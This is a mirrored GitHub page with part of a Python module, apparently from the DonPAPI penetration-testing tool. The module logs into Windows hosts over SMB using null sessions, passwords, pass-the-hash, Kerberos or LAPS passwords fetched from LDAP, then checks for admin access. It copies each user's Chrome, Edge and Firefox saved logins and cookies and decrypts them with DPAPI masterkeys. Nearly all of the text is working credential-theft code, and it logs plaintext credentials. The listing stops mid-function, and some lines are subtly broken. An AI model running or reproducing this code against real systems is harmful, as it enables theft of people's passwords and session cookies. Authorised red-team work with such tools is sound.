mirror of
https://github.com/login-securite/DonPAPI
synced 2025-03-11 06:58:49 +00:00
2352 lines
144 KiB
Python
2352 lines
144 KiB
Python
#!/usr/bin/env python3
|
|
# -*- encoding: utf-8 -*-
|
|
|
|
"""
|
|
MySeatBelt module contain MySeatBelt class.
|
|
@Author: Pierre-Alexandre Vandewoestyne (@T00uF)
|
|
"""
|
|
|
|
import copy
|
|
import impacket
|
|
import socket
|
|
import sqlite3
|
|
from pathlib import Path
|
|
from ldap3 import ALL, Server, Connection, NTLM
|
|
|
|
from impacket.dcerpc.v5 import srvs
|
|
from impacket.dcerpc.v5.dtypes import NULL, RPC_SID
|
|
from impacket.smb import SMB_DIALECT
|
|
# import impacket.dpapi
|
|
|
|
from donpapi.lib.adconnect import *
|
|
from donpapi.lib.certificates import CertificatesTriage
|
|
from donpapi.lib.dpapi import DPAPI
|
|
from donpapi.lib.fileops import MyRegOps
|
|
from donpapi.lib.new_module import *
|
|
from donpapi.lib.RecentFiles import *
|
|
from donpapi.lib.secretsdump import LSASecrets as MyLSASecrets
|
|
from donpapi.lib.secretsdump import SAMHashes as MySAMHashes
|
|
from donpapi.lib.secretsdump import RemoteOperations as MyRemoteOperations
|
|
from donpapi.lib.toolbox import is_guid
|
|
from donpapi.software.browser.chrome_decrypt import *
|
|
from donpapi.software.browser.firefox_decrypt import *
|
|
from donpapi.software.sysadmin.vnc import Vnc
|
|
|
|
from donpapi.myusers import MyUser
|
|
from donpapi.database import Database
|
|
|
|
# from DonPAPI.lib.lazagne_dpapi.credhist import CredHistFile
|
|
|
|
|
|
class MySeatBelt:
|
|
"""MySeatBelt class."""
|
|
def __init__(self, target, options, logger, verbose=1):
|
|
self.host = target
|
|
self.options = copy.deepcopy(options)
|
|
self.options.target_ip = target
|
|
self.options.timeout = 5
|
|
# options.target_ip=target
|
|
self.logging = logger
|
|
self.smb = None
|
|
|
|
# self.username = options.username
|
|
# self.password = options.password
|
|
# self.domain = options.domain
|
|
|
|
"""
|
|
msg_debug = f"[{target}] [-] initialising smb connection to {options.domain} / " \
|
|
f"{options.username} : {options.password}, @ {options.dc_ip} , Hash :" \
|
|
f" {options.lmhash} : { options.nthash}, AESKey {options.aesKey}"
|
|
self.logging.info(msg_debug)
|
|
smb_client = SMBConnection(options.address, target, sess_port=int(options.port))
|
|
if options.k is True:
|
|
smb_client.kerberosLogin(options.username, options.password, options.domain,
|
|
options.lmhash, options.nthash, options.aesKey, options.dc_ip )
|
|
else:
|
|
smb_client.login(options.username, options.password, options.domain, options.lmhash,
|
|
options.nthash)
|
|
|
|
self.smb = smb_client
|
|
"""
|
|
|
|
# Init all
|
|
self.smbv1 = False
|
|
self.admin_privs = False
|
|
# self.username, self.password, self.domain, self.lmhash, self.nthash, \
|
|
# self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
|
|
self.share = None
|
|
self.last_output = None
|
|
self.completion = []
|
|
self.users = []
|
|
self.user_path = ''
|
|
self.machine_key = []
|
|
self.user_key = []
|
|
|
|
# self.options[logging] = logge
|
|
self.myfileops = None
|
|
self.myregops = None
|
|
# self.myfileops = MyFileOps(self.smb,self.logging,self.options)
|
|
self.credz = options.credz
|
|
self.__remoteOps = None
|
|
self.__bootKey = b''
|
|
self.__SAMHashes = None
|
|
self.__LSASecrets = None
|
|
self.global_logfile = b'globallog.log'
|
|
self.init_connect()
|
|
|
|
def init_connect(self):
|
|
"""Init SQLite connection."""
|
|
try:
|
|
sqlite_database = sqlite3.connect(self.options.db_path, check_same_thread=False)
|
|
self.db = Database(sqlite_database, self.logging)
|
|
if self.create_conn_obj():
|
|
# self.do_info_rpc_unauth()
|
|
self.do_info_unauth()
|
|
self.create_conn_obj()
|
|
if self.login_conn():
|
|
self.is_admin()
|
|
if self.admin_privs:
|
|
self.myfileops = MyFileOps(self.smb, self.logging, self.options)
|
|
self.myregops = MyRegOps(self.logging, self.options)
|
|
return True
|
|
else:
|
|
return False
|
|
return False
|
|
except Exception:
|
|
self.logging.debug("Error init connect")
|
|
return False
|
|
|
|
def create_smbv1_conn(self):
|
|
"""Create SMBv1 connection."""
|
|
try:
|
|
self.smb = SMBConnection(self.host, self.host, None, self.options.port,
|
|
preferredDialect=SMB_DIALECT, timeout=self.options.timeout)
|
|
self.smbv1 = True
|
|
self.logging.debug(f"SMBv1 OK on {self.host} - {self.options.target_ip}")
|
|
except socket.error as exc:
|
|
if "Connection reset by peer" in str(exc):
|
|
self.logging.debug(f"SMBv1 might be disabled on {self.host}")
|
|
return False
|
|
except Exception as exc:
|
|
self.logging.debug(f"Error creating SMBv1 connection to {self.host}: {str(exc)}")
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_smbv3_conn(self):
|
|
"""Create SMBv3 connection."""
|
|
try:
|
|
self.smb = SMBConnection(self.host, self.host, None, self.options.port,
|
|
timeout=self.options.timeout)
|
|
self.smbv1 = False
|
|
logging.debug(f"SMBv3 OK on {self.host} - {self.options.target_ip}")
|
|
except Exception as exc:
|
|
self.logging.debug(f"Error creating SMBv3 connection to {self.host}: {exc}")
|
|
self.db.add_computer(ip=self.host, connectivity=f"{exc}")
|
|
return False
|
|
|
|
return True
|
|
|
|
def create_conn_obj(self):
|
|
"""Create connection object."""
|
|
# self.logging.info(f"[{self.options.target_ip}] [-] Initializing SMB connection " \
|
|
# f"to {self.options.domain} / {self.options.username} : " \
|
|
# f"{self.options.password}, @ {self.options.dc_ip} , Hash : " \
|
|
# f"{self.options.lmhash} : {self.options.nthash}, " \
|
|
# f"AESKey {self.options.aesKey}")
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Initializing SMB connection ...")
|
|
if self.create_smbv1_conn():
|
|
return True
|
|
if self.create_smbv3_conn():
|
|
return True
|
|
return False
|
|
|
|
def close_smb(self):
|
|
"""Close SMB connection."""
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Closing SMB connection ...")
|
|
self.myfileops.smb.close()
|
|
self.myregops.close()
|
|
self.smb.close()
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] SMB closed ...")
|
|
except Exception as e:
|
|
self.logging.debug('Error in closing SMB connection %s',e)
|
|
return False
|
|
|
|
def get_laps(self):
|
|
"""Get LAPS."""
|
|
try:
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \
|
|
f"admin password on {self.options.hostname} - domain " \
|
|
f"{self.options.domain} : dcip {self.options.dc_ip}")
|
|
ldap_domain = 'dc='
|
|
ldap_domain += ",dc=".join(self.options.domain.split('.').split('.'))
|
|
|
|
if self.options.dc_ip is not None:
|
|
srv = Server(self.options.dc_ip, get_info=ALL)
|
|
else:
|
|
srv = Server(self.options.domain, get_info=ALL)
|
|
conn = Connection(srv, user=self.options.domain + "\\" + self.options.username,
|
|
password=self.options.password, authentication=NTLM,
|
|
auto_bind=True)
|
|
conn.search(search_base=f"{ldap_domain}",
|
|
search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))',
|
|
attributes=['ms-MCS-AdmPwd', 'SAMAccountname'])
|
|
self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \
|
|
f"admin password on {self.options.hostname} - " \
|
|
f"{ldap_domain} - got {len(conn.entries)} match")
|
|
if len(conn.entries) == 1:
|
|
# for entry in c.entries[0]:
|
|
entry = conn.entries[0]
|
|
# self.options.username = str(entry['sAMAccountName'])
|
|
self.options.password = str(entry['ms-Mcs-AdmPwd'])
|
|
# self.username = self.options.username
|
|
# self.password = self.options.password
|
|
self.options.local_auth = True
|
|
self.options.domain = self.options.hostname
|
|
return True
|
|
else:
|
|
return False
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} " \
|
|
f"in get LAPS {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False
|
|
|
|
def login_conn(self, username=None, password=None, domain=None):
|
|
try:
|
|
if username is None:
|
|
username = self.options.username
|
|
if password == None:
|
|
password = self.options.password
|
|
if domain == None:
|
|
domain = self.options.domain
|
|
# smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
|
|
if self.options.k is True:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash,
|
|
self.options.aesKey, self.options.dc_ip)
|
|
return True
|
|
# elif self.options.hashes != None:
|
|
else:
|
|
if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session
|
|
if (self.get_laps()):
|
|
for username in ['administrator', 'administrateur', 'administrador']:
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.smb.login(username, self.options.password, self.options.domain,
|
|
self.options.lmhash, self.options.nthash, ntlmFallback=True)
|
|
self.options.username = username
|
|
if username not in self.options.credz:
|
|
self.options.credz[username] = [self.options.password]
|
|
else:
|
|
self.options.credz[username].append(self.options.password)
|
|
return True
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
continue
|
|
else:
|
|
if username == "" and password == "":
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}")
|
|
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
|
|
ntlmFallback=True)
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}")
|
|
self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash,
|
|
ntlmFallback=True)
|
|
'''except : #self.smb.STATUS_LOGON_FAILURE :
|
|
try:
|
|
if domain != self.hostname:
|
|
#Trying localy
|
|
self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True)
|
|
return True
|
|
else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
|
|
self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}")
|
|
return False
|
|
except Exception as ex:
|
|
self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False'''
|
|
# self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
|
|
return True
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
return False
|
|
|
|
def GetUserByName(self, username):
|
|
for user in self.users:
|
|
if user.username == username:
|
|
return user
|
|
else:
|
|
self.logging.debug("User %s Not found in self.users" % username)
|
|
|
|
def is_admin(self):
|
|
self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ")
|
|
self.admin_privs = False
|
|
try:
|
|
self.smb.connectTree("C$")
|
|
self.admin_privs = True
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}")
|
|
self.db.update_computer(ip=self.options.target_ip, is_admin=True)
|
|
except SessionError as e:
|
|
self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}")
|
|
self.logging.debug(f"[{self.options.target_ip}] {e}")
|
|
self.db.update_computer(ip=self.options.target_ip, is_admin=False)
|
|
pass
|
|
return self.admin_privs
|
|
|
|
def do_info_unauth(self):
|
|
# self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
|
try:
|
|
# Null session to get basic infos
|
|
self.login_conn(username='', password='')
|
|
# self.domain = self.smb.getServerDNSDomainName()
|
|
self.options.hostname = self.smb.getServerName()
|
|
# self.options.hostname=self.hostname
|
|
self.server_os = self.smb.getServerOS()
|
|
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
|
|
'RequireSigning']
|
|
# self.os_arch = self.get_os_arch()
|
|
if self.options.domain == '': # no domain info == local auth
|
|
self.options.domain = self.options.hostname
|
|
# elif self.options.domain != '':
|
|
# self.domain = self.options.domain
|
|
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
|
|
self.db.add_computer(ip=self.options.target_ip, hostname=self.options.hostname,
|
|
domain=self.smb.getServerDNSDomainName(), os=self.server_os,
|
|
smb_signing_enabled=self.signing, smbv1_enabled=self.smbv1)
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def do_info_rpc_unauth(self):
|
|
try:
|
|
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
|
|
smb_connection=self.smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
resp = srvs.hNetrServerGetInfo(dce, 102)
|
|
self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
|
|
self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name']
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def do_info_with_auth(self):
|
|
# self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
|
try:
|
|
# Null session to get basic infos
|
|
self.login_conn()
|
|
# self.domain = self.smb.getServerDNSDomainName()
|
|
self.options.hostname = self.smb.getServerName()
|
|
self.server_os = self.smb.getServerOS()
|
|
self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[
|
|
'RequireSigning']
|
|
# self.os_arch = self.get_os_arch()
|
|
if not self.domain and self.options.domain == '':
|
|
self.domain = self.options.hostname
|
|
elif self.options.domain != '':
|
|
self.domain = self.options.domain
|
|
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]")
|
|
# IP# print(self.smb.getRemoteHost())
|
|
# print(self.smb.getServerDNSDomainName())
|
|
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc',
|
|
smb_connection=self.smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
resp = srvs.hNetrServerGetInfo(dce, 102)
|
|
# self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
|
|
# self.os_arch = self.get_os_arch()
|
|
|
|
# self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
|
|
# self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
|
|
# self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
|
|
# self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
|
|
# self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
|
|
# self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
|
|
# USE user path
|
|
self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath']
|
|
|
|
self.db.add_computer(ip=self.options.target_ip, hostname=self.hostname, domain=self.domain,
|
|
os=self.server_os)
|
|
self.logging.info(
|
|
f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})")
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def logsecret(self, data):
|
|
try:
|
|
fh = open(self.global_logfile, 'ab')
|
|
fh.write(data.encode())
|
|
fh.close()
|
|
self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
|
|
def GetEdgeSecrets(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering MSEdge Secrets {bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Local State',
|
|
'ChromeLocalState', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Cookies',
|
|
'ChromeCookies', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default",
|
|
'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
|
|
(
|
|
"Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network", 'Cookies',
|
|
'ChromeCookies', 'DOMAIN'),
|
|
(
|
|
"Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Safe Browsing Network",
|
|
'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Login Data',
|
|
'ChromeLoginData', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Last Version',
|
|
'ChromeVersion', 'DOMAIN'),
|
|
]
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
continue
|
|
else:
|
|
directories_to_use = user_directories
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None
|
|
myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username, type="MSEdge")
|
|
|
|
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir, my_mask, my_blob_type, my_user_type = info
|
|
tmp_pwd = my_dir.format(
|
|
username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned file %s" % longname)
|
|
if longname not in blacklist and not is_directory:
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
|
|
# myoptions = copy.deepcopy(self.options)
|
|
if my_blob_type == 'ChromeLocalState':
|
|
try:
|
|
myChromeSecrets.localstate_path = localfile
|
|
guid = myChromeSecrets.get_masterkey_guid_from_localstate()
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
myChromeSecrets.masterkey = masterkey['key']
|
|
aesKey = myChromeSecrets.get_AES_key_from_localstate(
|
|
masterkey=masterkey['key'])
|
|
if aesKey != None:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeLoginData':
|
|
try:
|
|
myChromeSecrets.logindata_path = localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
logins = myChromeSecrets.decrypt_chrome_LoginData()
|
|
user.files[longname]['secret'] = logins
|
|
if logins is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeCookies':
|
|
try:
|
|
myChromeSecrets.cookie_path = localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
cookies = myChromeSecrets.decrypt_chrome_CookieData()
|
|
user.files[longname]['secret'] = cookies
|
|
if cookies is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeVersion':
|
|
try:
|
|
myChromeSecrets.version_path = localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
|
|
cookies = myChromeSecrets.get_chrome_Version()
|
|
user.files[longname]['secret'] = cookies
|
|
if cookies is not None:
|
|
user.files[longname]['status'] = 'decrypted'
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def GetMozillaSecrets_wrapper(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}")
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
continue
|
|
try:
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None
|
|
myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops, self.db)
|
|
myFirefoxSecrets.run()
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
|
|
def GetChromeSecrets(self):
|
|
self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}")
|
|
blacklist = ['.', '..']
|
|
# Parse chrome
|
|
# autres navigateurs ?
|
|
|
|
user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State',
|
|
'ChromeLocalState', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies',
|
|
'ChromeCookies', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default",
|
|
'Extension Cookies', 'ChromeCookies', 'DOMAIN'),
|
|
(
|
|
"Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network", 'Cookies',
|
|
'ChromeCookies', 'DOMAIN'),
|
|
(
|
|
"Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network",
|
|
'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data',
|
|
'ChromeLoginData', 'DOMAIN'),
|
|
("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Last Version',
|
|
'ChromeVersion', 'DOMAIN'),
|
|
]
|
|
|
|
for user in self.users:
|
|
if user.username == 'MACHINE$':
|
|
continue
|
|
else:
|
|
directories_to_use = user_directories
|
|
myoptions = copy.deepcopy(self.options)
|
|
myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse
|
|
myoptions.key = None
|
|
myoptions.masterkeys = None
|
|
myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username)
|
|
|
|
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
|
|
for info in directories_to_use:
|
|
my_dir, my_mask, my_blob_type, my_user_type = info
|
|
tmp_pwd = my_dir.format(
|
|
username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}")
|
|
my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False)
|
|
for infos in my_directory:
|
|
longname, is_directory = infos
|
|
self.logging.debug("ls returned file %s" % longname)
|
|
if longname not in blacklist and not is_directory:
|
|
try:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}")
|
|
# Downloading Blob file
|
|
localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True)
|
|
# myoptions = copy.deepcopy(self.options)
|
|
if my_blob_type == 'ChromeLocalState':
|
|
try:
|
|
myChromeSecrets.localstate_path = localfile
|
|
guid = myChromeSecrets.get_masterkey_guid_from_localstate()
|
|
if guid != None:
|
|
masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type)
|
|
if masterkey != None:
|
|
if masterkey['status'] == 'decrypted':
|
|
myChromeSecrets.masterkey = masterkey['key']
|
|
aesKey = myChromeSecrets.get_AES_key_from_localstate(
|
|
masterkey=masterkey['key'])
|
|
if aesKey != None:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}")
|
|
else:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}")
|
|
except Exception as ex:
|
|
self.logging.debug(
|
|
f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}")
|
|
self.logging.debug(ex)
|
|
if my_blob_type == 'ChromeLoginData':
|
|
try:
|
|
myChromeSecrets.logindata_path = localfile
|
|
user.files[longname] = {}
|
|
user.files[longname]['type'] = my_blob_type
|
|
user.files[longname]['status'] = 'encrypted'
|
|
user.files[longname]['path'] = localfile
